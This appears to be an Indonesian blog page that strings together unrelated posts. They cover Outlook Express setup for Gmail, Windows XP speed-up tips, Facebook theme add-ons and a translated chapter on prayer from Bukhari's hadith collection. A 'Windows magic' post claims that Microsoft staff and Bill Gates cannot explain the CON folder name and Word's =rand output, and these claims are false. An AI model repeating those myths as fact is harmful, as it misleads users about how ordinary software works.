10.Pilih Account yg baru saja anda buat, lalu klik properties. Pilih Tab ‘Servers’ dan
checklist bagian ‘My server requires authentication’
11.Klik OK. (Done.. )
Sekarang, coba klik Send/Receive untuk mendownload email atau men-check apakah
ada email yg masuk atau tidak.

Setting Outlook untuk Gmail :
1.Aktifkan settingan POP di Gmail anda.
2.Buka Outlook Express
3.Isi Incoming mail… dengan : pop.gmail.com
4.Isi Outgoing mail… dengan : smtp.gmail.com
5.Isi account name dengan alamat email lengkap dengan embel-embel @gmail.com
contoh : tejo@gmail.com
6.Klik Tool -> Accounts -> Mail. Pilih Account anda lalu klik Properties
7.Pilih bagian Advanced.
8.Isi kolom Outgoing…(SMTP) = 465 dan checklist “This server…(SSL)”
9.Isi kolom Incoming…(POP3) = 995 dan checklist “This server…(SSL)”
10.Pilih Account yg baru saja anda buat, lalu klik properties. Pilih Tab ‘Servers’ dan
checklist bagian ‘My server requires authentication’
11.Klik OK. (Done.. )

percepat komputer anda

Mengurangi Beban Kinerja Komputer Anda

Komputer yang kita gunakan lama kelamaan akan terasa makin lambat dan ‘berat’, ini dikarenakan beban kinerja komputer kita makin berat.
Berikut saya sedikit memberikan beberapa tips untuk mengurangi beban kinerja komputer anda.

- Langkah 1
Langkah pertama mempercepat boot via BIOS.

- Langkah 2
Untuk Windows XP, mulai dengan membuka System Configuration Utility.(Start–>Run–>ketik “msconfig”).
Pada tab BOOT.INI, beri tanda centang pada “/NOGUIBOOT”, ini akan mempersingkat waktu boot dengan menghilangkan Windows startup screen.
Pada tab Startup, hilangkan centang service-service yang benar-benar sangat tidak dibutuhkan.
Pada tab service lakukan hal yang sama seperti pada tab Startup.

- Langkah 3
Setting ini dapat anda lakukan jika anda mementingkan kecepatan Windows XP dari pada grafis atau tampilan Windows XP.
Setting ulang interface ini dapat menambah kecepatan.
Masuk ke Control Panel dan klik System, lalu pilih tab Advanced.
Pada pilihan Performance klik Settings, kemudian pada tab Visual Effects pilih “Adjust for Best Performance”.

- Langkah 4
Tidak menggunakan wallpaper dan minimalisasi jumlah desktop icon juga dapat mempercepat PC Anda.

- Langkah 5
Tidak menggunakan suara pada event Start Windows juga dapat mempercepat proses boot.
Masuk ke Control Panel dan klik “Sounds and Audio Devices” lalu pilih tab Sounds.
Pada Sound scheme pilih No Sounds.

- Langkah 6
Kurangi jumlah font yang tidak begitu penting pada Windows Anda.
karena makin banyak jumlah font yang terinstal akan menambah berat beban kerja PC Anda.
Windows secara default menyertakan sejumlah kurang dari 100 font.
Usahakan jumlah font yang terinstal tidak lebih 150 font.

- Langkah 7
Anda harus rajin meng-update driver, karena file-file yang masih menggunakan driver lama dapat memperlambat PC Anda.

sulapan windows

MAGIC #1
Orang India menemukan bahwa tidak ada seorang pun yang dapat membuat
FOLDER di komputer dengan program Microsoft manapun dengan judul folder
“CON”, “LPT1?, “COM1?. Ini merupakan hal nyata dan seluruh kru Microsoft sendiri tidak
dapat menjawabnya kenapa hal ini bisa terjadi. Cobalah dengan membuat
sebuah folder dengan nama CON atau con.

Bukalah My Document -> File -> New -> Folder -> ketik CON atau Con atau con
Apa yang terjadi?
MAGIC #2
Bagi anda para pengguna Windows, lakukanlah hal berikut ini:
1) Buka sebuah notepad file kosong
2) Ketiklah “Bush hid the facts” (tanpa tanda kutip ya)
3) Save di mana pun anda suka
4) Tutuplah dan bukalah kembali file tersebut.
Aneh bukan?
MAGIC #3: Microsoft Crazy Facts
Cobalah hal yang menarik ini, sungguh aneh! Bahkan Bill Gates sendiri
tidak menemukan jawabannya kenapa ini bisa terjadi! Hal ini ditemukan oleh
orang Brazil. Cobalah!
1)Buka program Microsoft Word dan ketik: =rand (200, 99)
2) kemudian anda ENTER
Apa yang anda temukan? Menarik bukan? coba aja…..

CARA MENGGANTI TMPILAN FACE BOOK

Merubah Tampilan Facebook Anda

FacebookAnda mungkin pernah merasa bosan dengan tampilan facebook anda, ternyata tampilan/layout facebook bisa kita ganti dengan tampilan yang kita inginkan dengan memanfaatkan beberapa penyedia layanan tersebut dan browser mozilla firefox.
Berikut beberapa cara untuk mengganti tampilan facebook anda :

1. Menggunakan Aplikasi yang disediakan oleh www.yontoo.com
- Gunakan Browser Mozilla Firefox
- Masuk ke http://www.yontoo.com/DownloadFFClient.aspx
- Pilih Start Install
- Install Add-ons tersebut dan setelah selesai restart Mozilla Firefox tersebut.
- Login account facebook anda
- Masuk ke http://apps.facebook.com/pagerage/
- Install aplikasi PageRage tersebut di facebook anda.
- Lalu pilih tampilan facebook yang anda inginkan.
- Selesai dan lihat perubahannya.

2. Menggunakan layanan yang disediakan oleh www.userstyles.org
- Gunakan Browser Mozilla Firefox
- Install Add-ons yang ada di https://addons.mozilla.org/en-US/firefox/addon/2108
- Install Add-ons tersebut dan setelah selesai restart Mozilla Firefox tersebut.
- Login account facebook anda.
- Masuk ke http://userstyles.org/styles/site/facebook.com
- Lalu pilih tampilan facebook yang anda inginkan.
- Klik tombol “Load into Stylish” lalu Save.
- Refresh halaman facebook Anda
- Selesai dan lihat perubahannya.

Selamat mencoba :)

Senin, 02 November 2009

kitab shalat

Bab Ke-1: Bagaimana Shalat Diwajibkan di Malam Isra'


Ibnu Abbas berkata, "Ketika Abu Sufyan menceritakan tentang Heraklius kepadaku, ia berkata, 'Nabi Muhammad saw menyuruh kami mendirikan shalat, berlaku jujur, dan menjaga diri dari segala sesuatu yang terlarang.'"[1]


192. Anas bin Malik r.a. berkata, "Abu Dzarr r.a. menceritakan bahwasanya Nabi Muhammad saw bersabda, 'Dibukalah atap rumahku dan aku berada di Mekah. Turunlah Jibril a.s. dan mengoperasi dadaku, kemudian dicucinya dengan air zamzam. Ia lalu membawa mangkok besar dari emas, penuh dengan hikmah dan keimanan, lalu ditumpahkan ke dalam dadaku, kemudian dikatupkannya. Ia memegang tanganku dan membawaku ke langit dunia. Ketika aku tiba di langit dunia, berkatalah Jibril kepada penjaga langit, 'Bukalah.' Penjaga langit itu bertanya, 'Siapakah ini?' Ia (jibril) menjawab, '[Ini, 4/106] Jibril.' Penjaga langit itu bertanya, 'Apakah Anda bersama seseorang?' Ia menjawab, 'Ya, aku bersama Muhammad saw.' Penjaga langit itu bertanya, 'Apakah dia diutus?' Ia menjawab, 'Ya.' Ketika penjaga langit itu membuka, kami menaiki langit dunia. Tiba tiba ada seorang laki-laki duduk di sebelah kanannya ada hitam-hitam (banyak orang) dan disebelah kirinya ada hitam-hitam (banyak orang). Apabila ia memandang ke kanan, ia tertawa, dan apabila ia berpaling ke kiri, ia menangis, lalu ia berkata, 'Selamat datang Nabi yang saleh dan anak laki-laki yang saleh.' Aku bertanya kepada Jibril, 'Siapakah orang ini?' Ia menjawab, 'Ini adalah Adam dan hitam-hitam yang di kanan dan kirinya adalah adalah jiwa anak cucunya. Yang di sebelah kanan dari mereka itu adalah penghuni surga dan hitam-hitam yang di sebelah kainya adalah penghuni neraka.' Apabila ia berpaling ke sebelah kanannya, ia tertawa, dan apabila ia melihat ke sebelah kirinya, ia menangis, sampai Jibril menaikkan aku ke langit yang ke dua, lalu dia berkata kepada penjaganya, 'Bukalah.' Berkatalah penjaga itu kepadanya seperti apa yang dikatakan oleh penjaga pertama, lalu penjaga itu membukakannya."


Anas berkata, "Beliau menyebutkan bahwasanya di beberapa langit itu beliau bertemu dengan Adam, Idris, Musa, Isa, dan Ibrahim shalawatullahi alaihim, namun beliau tidak menetapkan bagaimana kedudukan (posisi) mereka, hanya saja beliau tidak menyebutkan bahwasanya beliau bertemu dengan Adam di langit dunia dan Ibrahim di langit keenam." Anas berkata, "Ketika Jibril a.s. bersama Nabi Muhammad saw melewati Idris, Idris berkata, 'Selamat datang Nabi yang saleh dan saudara laki-laki yang saleh.' Aku (Rasulullah) bertanya, 'Siapakah ini?' Jibril menjawab, 'Ini adalah Idris.' Aku melewati Musa lalu ia berkata, 'Selamat datang Nabi yang saleh dan saudara yang saleh.' Aku bertanya, 'Siapakah ini?' Jibril menjawab, 'Ini adalah Musa.' Aku lalu melewati Isa dan ia berkata, 'Selamat datang saudara yang saleh dan Nabi yang saleh.' Aku bertanya, 'Siapakah ini?' Jibril menjawab, 'Ini adalah Isa.' Aku lalu melewati Ibrahim, lalu ia berkata, 'Selamat datang Nabi yang saleh dan anak yang saleh.' Aku bertanya,'Siapakah ini?' Jibril menjawab, 'Ini adalah Ibrahim as..'"


193 dan 194. Ibnu Syihab berkata, "Ibnu Hazm memberitahukan kepadaku bahwa Ibnu Abbas dan Abu Habbah al-Anshari berkata bahwa Nabi Muhammad saw bersabda, 'Jibril lalu membawaku naik sampai jelas bagiku Mustawa. Di sana, aku mendengar goresan pena-pena.' Ibnu Hazm dan Anas bin Malik berkata bahwa Nabi Muhammad saw. bersabda, 'Allah Azza wa Jalla lalu mewajibkan atas umatku lima puluh shalat (dalam sehari semalam). Aku lalu kembali dengan membawa kewajiban itu hingga kulewati Musa, kemudian ia (Musa) berkata kepadaku, 'Apa yang diwajibkan Allah atas umatmu?' Aku menjawab, 'Dia mewajibkan lima puluh kali shalat (dalam sehari semalam).' Musa berkata, 'Kembalilah kepada Tuhanmu karena umatmu tidak kuat atas yang demikian itu.' Allah lalu memberi dispensasi (keringanan) kepadaku (dalam satu riwayat: Maka aku kembali dan mengajukan usulan kepada Tuhanku), lalu Tuhan membebaskan separonya. 'Aku lalu kembali kepada Musa dan aku katakan, 'Tuhan telah membebaskan separonya.' Musa berkata, 'Kembalilah kepada Tuhanmu karena sesungguhnya umatmu tidak kuat atas yang demikian itu. 'Aku kembali kepada Tuhanku lagi, lalu Dia membebaskan separonya lagi. Aku lalu kembali kepada Musa, kemudian ia berkata, 'Kembalilah kepada Tuhanmu karena umatmu tidak kuat atas yang demikian itu.' Aku kembali kepada Tuhan, kemudian Dia berfirman, 'Shalat itu lima (waktu) dan lima itu (nilainya) sama dengan lima puluh (kali), tidak ada firman yang diganti di hadapan Ku.' Aku lalu kembali kepada Musa, lalu ia berkata, 'Kembalilah kepada Tuhanmu.' Aku jawab, '(Sungguh) aku malu kepada Tuhanku.' Jibril lalu pergi bersamaku sampai ke Sidratul Muntaha dan Sidratul Muntaha itu tertutup oleh warna-warna yang aku tidak mengetahui apakah itu sebenarnya? Aku lalu dimasukkan ke surga. Tiba-tiba di sana ada kail dari mutiara dan debunya adalah kasturi.'"


195. Aisyah r.a. berkata, "Allah Ta'ala memfardhukan shalat ketika difardhukan-Nya dua rakaat-dua rakaat, baik di rumah maupun dalam perjalanan. Selanjutnya, dua rakaat itu ditetapkan shalat dalam perjalanan dan shalat di rumah ditambah lagi (rakaatnya)." (Dalam satu riwayat: Kemudian Nabi Muhammad saw. hijrah, lalu difardhukan shalat itu menjadi empat rakaat dan dibiarkan shalat dalam bepergian sebagaimana semula, 4/267).




Bab Ke-2: Wajibnya Shalat dengan Mengenakan Pakaian dan Firman Allah Ta'ala, "Pakailah pakaianmu yang indah pada setiap (memasuki) masjid." (al-A'raaf: 31), dan Orang yang Mendirikan Shalat dengan Memakai Satu Helai Pakaian


Salamah bin Akwa' meriwayatkan bahwa Nabi Muhammad saw bersabda, "Hendaknya ia mengancingnya meskipun dengan duri." Akan tetapi, isnad-nya perlu mendapatkan perhatian.[2]


Diterangkan pula mengenai orang yang shalat dengan pakaian yang dipergunakan untuk melakukan hubungan seksual (adalah diperbolehkan) asalkan dia melihat tidak ada kotoran di situ.[3]


Nabi Muhammad saw memerintahkan agar seseorang tidak melakukan thawaf (mengelilingi Ka'bah) dengan telanjang.[4]




Bab Ke-3: Mengikatkan Kain pada Leher pada Waktu Shalat


Abu Hazim berkata mengenai hadits yang diterima dari Sahl sebagai berikut: "Para sahabat melakukan shalat bersama Nabi Muhammad saw. sambil mengikatkan sarung ke leher mereka."[5]


196. Muhammad al-Munkadir berkata, "Jabir shalat dengan mengenakan kain yang ia ikatkan di tengkuknya (dalam satu riwayat: kain yang ia selimutkan, 1/97), sedangkan pakaiannya ia letakkan di atas gantungan. [Setelah selesai], ada orang yang bertanya, 'Mengapa Anda melakukan shalat dengan mengenakan selembar kain saja [sedang pakaianAnda dilepas]?' Jabir menjawab, 'Aku melakukannya untuk memperlihatkannya kepada orang tolol seperti kamu, [aku melihat Nabi Muhammad saw melakukan shalat seperti ini]. Mana ada di antara kita yang mempunyai dua helai pakaian di masa Nabi Muhammad saw.?'"




Bab Ke-4: Shalat dalam Selembar Pakaian dengan Cara Menyelimutkannya


Az-Zuhri berkata mengenai haditsnya, "Orang yang menyelimutkan itu maksudnya ialah menyilangkan antara kedua ujung pakaiannya pada lehernya dan ini meliputi kedua pundaknya."[6]


Ummu Hani' berkata, "Nabi Muhammad saw menutupi tubuhnya dengan sehelai pakaian dan menyilangkan kedua ujungnya pada kedua pundaknya.'"[7]


197. Umar bin Abu Salamah berkata bahwa dia pernah melihat Nabi Muhammad saw. shalat dengan mengenakan sehelai pakaian di rumah Ummu Salamah dan beliau menyilangkan kedua ujungnya pada kedua pundaknya.


198. Ummu Hani' binti Abi Thalib r.a. berkata, "Aku pergi ke tempat Rasulullah saw. pada tahun dibebaskannya Mekah, lalu aku menemui beliau sedang mandi [di rumahnya, 2/38] dan Fatimah menutupinya, lalu aku memberi salam kepada beliau. Beliau bertanya, 'Siapa itu?' Aku menjawab, 'Aku, Ummu Hani' binti Abu Thalib.' Beliau berkata, 'Selamat datang, Ummu Hani'.' Setelah selesai mandi (dan dari jalan Ibnu Abi Laila: Tidak ada seorang pun yang menginformasikan kepada kami bahwa dia melihat Rasulullah saw melakukan shalat dhuha selain Ummu Hani' karena ia menyebutkan bahwa beliau, 5/93) berdiri lalu shalat delapan rakaat dengan berselimut satu kain. Ketika beliau berpaling (salam/selesai), aku berkata, 'Wahai Rasulullah, putra ibuku [Ali bin Abi Thalib] menduga bahwa dia membunuh seseorang yang telah aku beri upah, yaitu Fulan bin Huraibah.' Rasulullah saw bersabda, 'Kami telah memberi upah orang yang telah kamu beri upah, wahai Ummu Hani'.' Ummu Hani' berkata, 'Itulah pengorbanan.'"


199. Abu Hurairah berkata bahwa ada orang yang bertanya kepada Rasulullah saw tentang shalat dalam satu kain. Rasulullah saw bersabda, "Apakah masing-masing dari kamu mempunyai dua kain?"




Bab Ke-5: Apabila Seseorang Shalat dengan Mengenakan Selembar Pakaian, Hendaknya Mengikatkan Pada Lehernya


200. Abu Hurairah berkata, "Rasulullah saw. bersabda, 'Salah seorang di antaramu janganlah shalat di dalam satu kain yang di bahunya tidak ada apa-apanya.'"


201. Abu Hurairah berkata, "Aku bersaksi bahwasanya aku mendengar Rasulullah saw bersabda, 'Barangsiapa shalat dengan selembar kain, hendaklah ia mengikatkan antara kedua ujungnya.'"




Bab Ke-6: Apabila Pakaian Sempit


202. Sa'id bin Harits berkata, "Kami bertanya kepada Jabir bin Abdullah perihal shalat dengan mengenakan selembar pakaian, lalu Jabir berkata, 'Aku keluar bersama Nabi Muhammad saw dalam sebagian perjalanan beliau. Pada suatu malam, aku datang karena suatu urusanku, maka aku mendapatkan beliau sedang shalat dan aku hanya memakai selembar kain, maka aku melipatnya dan aku shalat di samping beliau. Setelah beliau selesai, beliau bersabda, 'Ada apakah engkau pergi malam-malam, hai Jabir?' Aku lalu memberitahukan tentang keperluanku. Ketika aku selesai, beliau bertanya, 'Lipatan apakah yang aku lihat ini?' Aku menjawab, 'Kain, yakni sempit.' Beliau bersabda, 'Jika luas, selimutkanlah, dan jika sempit, bersarunglah dengannya!'"


203. Sahl bin Sa'ad berkata, "Orang-orang yang shalat bersama Nabi Muhammad saw mengikatkan kain mereka [karena sempit, 2/63] pada tengkuk-tengkuk mereka seperti keadaan anak-anak. Beliau bersabda kepada para wanita, 'Janganlah kamu mengangkat kepalamu sehingga orang-orang laki-laki benar-benar duduk.'"




Bab Ke-7: Shalat dengan Mengenakan Jubah Buatan Syam


Al-Hasan berkata bahwa tidak apa apa shalat dengan mengenakan pakaian-pakaian yang ditenun oleh kaum Majusi (yakni para penyembah api).[8]


Ma'mar berkata, "Aku melihat az-Zuhri memakai pakaian Yaman yang dicelup dengan air kencing."[9]


Ali shalat dengan pakaian baru yang belum dicuci.[10]


204. Mughirah bin Syu'bah berkata, "Aku bersama Nabi Muhammad saw. [pada suatu malam, 7/37] dalam suatu perjalanan (dalam satu riwayat: dan aku tidak mengetahui melainkan dia berkata, 'dalam Perang Tabuk', 5/136), [lalu beliau bertanya, 'Apakah engkau membawa air?' Aku jawab, 'Ya.' Beliau lalu turun dari kendaraannya], kemudian bersabda, 'Wahai Mughirah, ambillah bejana kecil (terbuat dari kulit)!' Aku lalu mengambilnya. Rasulullah saw pergi sehingga beliau tertutup dariku [pada malam yang gelap gulita], kemudian beliau menunaikan hajatnya [Beliau lalu datang dan aku temui beliau dengan aku bawakan air, 3/231], dan beliau mengenakan jubah buatan negeri Syam [dari kulit/wol]. Beliau lalu mengeluarkan tangan dari lengannya, namun sempit, [maka beliau tidak dapat mengeluarkan kedua lengan beliau darinya]. Beliau lalu mengeluarkan tangan dari bawahnya dan aku menuangkan atasnya [bejana itu] [ketika beliau telah selesai menunaikan hajatnya, 1/85]. Beliau lalu berwudhu seperti berwudhu untuk shalat, [maka beliau berkumur-kumur, memasukkan air ke hidung dan mengeluarkannya kembali, membasuh mukanya] [dan kedua tangannya] (dalam satu riwayat: kedua lengannya), [kemudian beliau mengusap kepalanya], [lalu aku menunduk untuk melepaskan khuf beliau, kemudian beliau bersabda, 'Biarkanlah, karena aku memasukkannya dalam keadaan suci,'] dan beliau mengusap khuf (semacam sepatu) beliau kemudian shalat"




Bab Ke-8: Tidak Disukai Telanjang Sewaktu Shalat dan Lainnya


205. Jabir bin Abdullah r.a. menceritakan bahwasanya Rasulullah saw. memindahkan batu Ka'bah bersama mereka dan beliau mengenakan kain (sarung). Abbas, paman beliau, berkata kepada beliau, "Wahai anak saudaraku, bagaimana kalau engkau lepaskan kain engkau dan engkau kenakan atas kedua bahu karena ada batu." Jabir berkata, "Beliau lalu melepaskannya dan mengenakannya di atas kedua bahu beliau. Beliau lalu jatuh pingsan. Sesudah itu, beliau tidak pernah telanjang. Mudah-mudahan Allah memberikan rahmat kepada beliau dan memberikan keselamatan."*1*)




Bab Ke-9: Shalat dengan Baju, Celana, Celana Tak Berkaki (Selongsongan), dan Pakaian Luar (Mantel dan Sebagainya)


206. Abu Hurairah berkata, "Seorang laki-laki pergi ke tempat Nabi Muhammad saw., lalu bertanya kepada beliau mengenai shalat dengan mengenakan selembar pakaian saja. Beliau bersabda, 'Apakah masing-masing kamu mempunyai dua helai pakaian?'"


Bertanya pula seorang laki-laki kepada Umar ibnul Khaththab mengenai shalat dengan sehelai pakaian juga. Umar berkata, "Kalau Allah memberi kamu kelapangan (kekayaan), manfaatkanlah kelapangan itu dengan memakai pakaian secukupnya. Shalatlah dengan memakai sarung dan baju, memakai sarung dan kemeja, celana dan mantel, celana agak pendek dan kemeja." Aku kira beliau juga mengatakan, "Boleh mengenakan kain di bawah lutut dan selendang."




Bab Ke-10: Apa yang Menutupi Aurat


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya hadits Ibnu Umar yang tersebut pada nomor 89 di muka.")




Bab Ke-11: Shalat Tanpa Mengenakan Selendang


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya hadits Jabir yang tersebut pada nomor 196 di muka.")




Bab Ke-12: Mengenai Apa yang Disebutkan Perihal Paha


Diriwayatkan dari Ibnu Abbas, Jarhad, dan Muhammad bin Jahsy bahwa Nabi Muhammad saw bersabda, "Paha itu adalah aurat."[11]


Anas bin Malik berkata, "Nabi Muhammad saw menyingkapkan (sarungnya) sehingga tampaklah pahanya." [12]


Hadits Anas itu lebih kokoh sanadnya, namun hadits Jarhad (yang menyebutkan bahwa paha itu aurat) adalah lebih hati-hati, dapat mengeluarkan kita (kaum muslimin) dari perselisihan pendapat.


Abu Musa berkata, "Nabi Muhammad saw. menutup pahanya sewaktu Utsman bin Affan masuk."[13]


Zaid bin Tsabit berkata, "Allah menurunkan wahyu kepada Rasul-Nya pada waktu pahanya di atas pahaku, lalu ia terasa begitu beratnya padaku sampai aku khawatir (paha beliau) akan meremukkan pahaku."[14]


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya sebagian besar hadits Anas yang tersebut pada Kitab ke-55 "al-Washaayaa", Bab ke-26.')




Bab Ke-13: Berapa Ukuran Pakaian Seorang Perempuan dalam Shalat?


Ikrimah berkata, "Apabila perempuan dapat menutup seluruh tubuhnya dengan selembar pakaian, itu sudah cukup."[15]


207. Aisyah berkata, "Rasulullah saw biasa melakukan shalat subuh [ketika hari masih gelap, 1/211] dan orang-orang mukmin perempuan hadir bersama beliau, kepala mereka terselubung dalam kerudung, kemudian mereka pulang ke rumah mereka masing-masing [ketika telah usai melakukan shalat], dan tidak seorang pun yang mengenal mereka karena masih gelap], [atau sebagian mereka tidak mengenal sebagian yang lain, 1/211]"[16]




Bab Ke-14: Apabila Seseorang Shalat dengan Pakaian yang Bergambar dan Melihat Gambar-Gambar Itu Sewaktu Shalat


208. Aisyah r.a. berkata bahwa Nabi Muhammad saw shalat pada kain hitam persegi empat yang mempunyai beberapa tanda (lukisan). Beliau memandangnya sekilas. Ketika beliau selesai, beliau bersabda, "Bawa pergilah kain-kainku (yang ada tanda-tandanya) ini kepada Abu Jahm [bin Hudzaifah bin Ghanim dari bani Adi bin Ka'ab][17] dan bawalah kepadaku kain tebal tanpa lukisan milik Abu Jahm karena kain yang berlukisan itu menjadikanku lengah dari shalatku tadi." (Dalam satu riwayat, "Aku disibukkan oleh lukisan-lukisan ini." 1/183)



(Dalam riwayat yang mu'allaq, "Aku melihat lukisannya ketika aku dalam shalat, dan aku takut terganggu olehnya.")[18]




Bab Ke-15: Apabila Seseorang Shalat dengan Pakaian yang Bergambar Salib atau Foto-Foto, Apakah Shalatnya Batal? Dan Apa yang Dilarang Darinya?


209. Anas bin Malik berkata, "Aisyah mempunyai tirai (korden / penutup jendela) untuk menutupi sisi-sisi rumahnya, lalu Nabi saw bersabda [kepadanya, 7/66], "Singkirkanlah dariku tiraimu ini karena gambar-gambarnya tampak [kepadaku] di dalam shalatku."




Bab Ke-16: Barang Siapa yang Shalat dengan Mengenakan Pakaian Oblong yang Terbuat dan Sutra Lalu Mencopotnya


210. Uqbah bin Amir berkata, "Dihadiahkan baju kurung sutra kepada Nabi Muhammad saw., lalu beliau mengenakannya dan shalat dengan memakainya. Beliau lalu berpaling dan melepaskannya dengan keras seperti orang yang benci kepadanya, lalu beliau bersabda, 'Ini (sutra) tidak layak bagi orang-orang yang bertakwa.'"




Bab Ke-17: Shalat dengan Mengenakan Pakaian Berwarna Merah


211. Abu Juhaifah berkata, "Aku melihat (dalam satu riwayat: Aku dibawa kepada, 4/167) Rasulullah saw. [sedang beliau di saluran, 4/165] dalam kubah merah dari kulit [pada waktu tengah hari], dan aku melihat Bilal mengambil (dalam satu riwayat: keluar lalu azan untuk shalat, [lalu aku mengikuti gerakan mulutnya ke sana ke mari melakukan azan, l/156], kemudian dia masuk, lalu mengeluarkan sisa) air wudhu Rasulullah saw., dan aku melihat orang-orang bersegera terhadap air wudhu Rasul itu. Orang yang mendapatkan sedikit dari air itu, ia mengusapkannya pada dirinya, dan orang yang tidak mendapatkan sesuatu dari air itu, ia mengambil dari basah-basahan tangan temannya. Aku melihat Bilal [masuk, lalu] mengambil (dalam satu riwayat: mengeluarkan) tongkat panjang dan di pancangkannya [di hadapan Rasulullah saw., dan beliau melakukan shalat]. Nabi Muhammad saw keluar dengan pakaian merah tersingsingkan, [seolah-olah aku melihat sinar betisnya, lalu beliau menancapkan tongkat itu, kemudian melakukan shalat dengan orang-orang ke arah tongkat [yaitu shalat zhuhur dua rakaat dan ashar] dua rakaat, dan aku melihat manusia dan hewan [dalam satu riwayat: himar dan orang perempuan] melewati muka tongkat panjang itu. [Dan orang-orang pun berdiri, lantas mereka pegang kedua tangan beliau dan mereka usapkan ke wajah mereka." Abu Juhaifah berkata, "Aku lalu memegang tangan beliau dan aku letakkan di wajah aku, ternyata tangan beliau itu lebih dingin daripada salju dan lebih harum baunya daripada minyak wangi."]


Abu Abdillah berkata, "Al-Hasan menganggap tidak apa-apa bagi seseorang untuk shalat di atas salju dan jembatan meskipun kencing mengalir di bawahnya atau di atasnya atau di depannya, asalkan di sana terdapat sutrah (pembatas) antara orang tersebut dan kotoran itu."[19]


Abu Hurairah juga pernah shalat di atas atap masjid (mengikuti) shalat imam.[20]


Ibnu Umar shalat di atas salju.[21]




Bab Ke-18: Shalat di Atas Genting (Atap), Mimbar, dan Kayu


212. Anas bin Malik berkata bahwa Rasulullah saw jatuh dari kudanya, lalu terlukalah kulit betisnya atau kulit bahunya (dalam satu riwayat: terluka kaki beliau, 2/229), dan beliau berjanji tidak akan pulang kepada istrinya selama sebulan. Beliau tinggal di kamar loteng yang diberi tangga dengan batang korma. Berdatanganlah para sahabat mengunjungi beliau. Beliau shalat bersama-sama mereka sambil duduk, sedangkan mereka shalat dengan berdiri. Setelah beliau memberi salam, beliau bersabda, "Imam itu dijadikan hanyalah semata-mata agar diikuti. Apabila ia sudah takbir, bertakbirlah kamu; apabila dia ruku, rukulah kamu; apabila dia sujud, sujudlah kamu. Apabila dia shalat dengan berdiri, shalatlah kamu dengan berdiri." [Umar bertanya, "Apakah engkau sudah menceraikan istri-istrimu?" Nabi menjawab, 'Tidak, tetapi aku berjanji menjauhi mereka selama sebulan." 3/106]. Setelah hari yang kedua puluh sembilan, beliau turun dari kamar loteng itu [kemudian masuk menemui istri-istri beliau, 2/229]. Lalu para sahabat bertanya, "Wahai Rasulullah, bukankah engkau berjanji tidak akan pulang selama sebulan?" Beliau bersabda, "Sebulan itu dua puluh sembilan hari."[22]




Bab Ke-19: Apabila Pakaian Seseorang yang Shalat Sewaktu Sujud Menyentuh Istrinya


213. Maimunah [binti al-Harits] berkata, "Rasulullah saw melakukan shalat dan aku berada sejajar dengan beliau (dalam satu riwayat: aku sedang tidur di samping beliau, 1/131), padahal aku sedang haid, (dalam satu riwayat: tempat tidurku sejajar dengan tempat shalat Nabi Muhammad saw.), dan kadang-kadang pakaian beliau menyentuhku apabila beliau sujud." Maimunah menambahkan, "Beliau itu shalat di atas tikar kecil."




Bab Ke-20: Shalat di Atas Tikar


Jabir dan Abu Sa'id pernah shalat di atas kapal dengan berdiri.[23]


Al-Hassan berkata, "Kalau tidak mengganggu sahabat-sahabat yang lain, Anda boleh shalat dengan berdiri dan berputar-putar dengan berputarnya (perahu). Kalau tidak bisa, bolehlah Anda shalat dengan duduk."[24]




Bab Ke-22: Shalat di Atas Hamparan (Tempat Tidur)


Anas pernah shalat di atas tempat tidurnya.[25]


Anas berkata, "Kami pernah shalat dengan Nabi Muhammad saw dan salah seorang dari kami sujud di atas pakaian beliau."[26]


214. Anas bin Malik r.a. berkata bahwa neneknya, Mulaikah, mengundang Rasulullah saw untuk memakan makanan yang dibuatnya untuk beliau, lalu beliau memakannya. Beliau lalu bersabda, "Berdirilah. Aku akan shalat untukmu." Anas berkata, "Aku berdiri di tikar kami yang telah hitam karena lamanya dipakai. Aku memercikinya dengan air, lalu Rasulullah saw berdiri dan aku bersama anak yatim membuat shaf di belakang beliau, dan orang perempuan tua di belakang kami. Rasulullah saw shalat untuk kami dua rakaat, kemudian beliau pergi."




Bab Ke-21: Shalat di Atas Tikar Kecil


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya bagian akhir hadits Maimunah yang tercantum pada nomor 213 di atas.")


215. Aisyah istri Nabi Muhammad saw. berkata, "Aku tidur di hadapan Rasulullah saw dan kedua kakiku pada arah kiblat beliau [sedangkan beliau melakukan shalat, 2/61]. Apabila beliau sujud, beliau merabaku, maka aku tarik kedua kakiku. Apabila beliau berdiri, aku julurkan kedua kakiku." Ia berkata, "Pada waktu itu, rumah-rumah tanpa lampu." (Dalam satu riwayat: Rasulullah saw melakukan shalat, sedangkan Aisyah berada di antara beliau dan kiblat, di atas tempat tidur istrinya). (Dalam riwayat lain: Aisyah telentang di atas tempat tidur yang ditempati mereka berdua tidur, seperti telentangnya jenazah).




Bab Ke-23: Sujud di Atas Kain Pada Waktu Panas yang Teramat Terik


Al-Hasan berkata, "Orang-orang sujud di atas sorban-sorban mereka dan kopiah dengan kedua tangan di dalam lengan baju mereka (karena panas yang sangat
terik)."[27]


216. Anas bin Malik berkata, "Kami shalat bersama Nabi Muhammad saw. [ketika hari panas terik, 1/107 (dalam satu riwayat: sangat panas. Apabila salah seorang dari kami tidak bisa menempelkan wajahnya ke tanah, 2/161)], lalu salah seorang di antara kami meletakkan ujung pakaiannya di tempat sujud karena sangat (dalam satu riwayat: karena menjaga diri dari) panas."




Bab Ke-24: Shalat dengan Mengenakan Sandal



217. Abu Maslamah Sa'id bin Yazid al Azdi berkata, "Aku bertanya kepada Anas bin Malik, 'Apakah Nabi Muhammad saw. shalat pada kedua sandal beliau?' Ia menjawab, 'Ya.'"




Bab Ke-25: Shalat dengan Mengenakan Khuf (Sepatu Tinggi)


218. Hamam ibnul-Harits berkata, "Aku melihat Jarir bin Abdullah kencing, kemudian berwudhu dan mengusap kedua khuf-nya (sepatu yang menutup mata kaki), kemudian ia berdiri dan shalat. Ia ditanya, lalu menjawab, 'Aku melihat Rasulullah saw berbuat seperti ini.'" Ibrahim berkata, "Hal ini menjadikan mereka keheranan karena Jarir termasuk orang yang paling akhir (dari kalangan sahabat) yang masuk Islam."




Bab Ke-26: Apabila Seseorang tidak Sujud dengan Sempurna


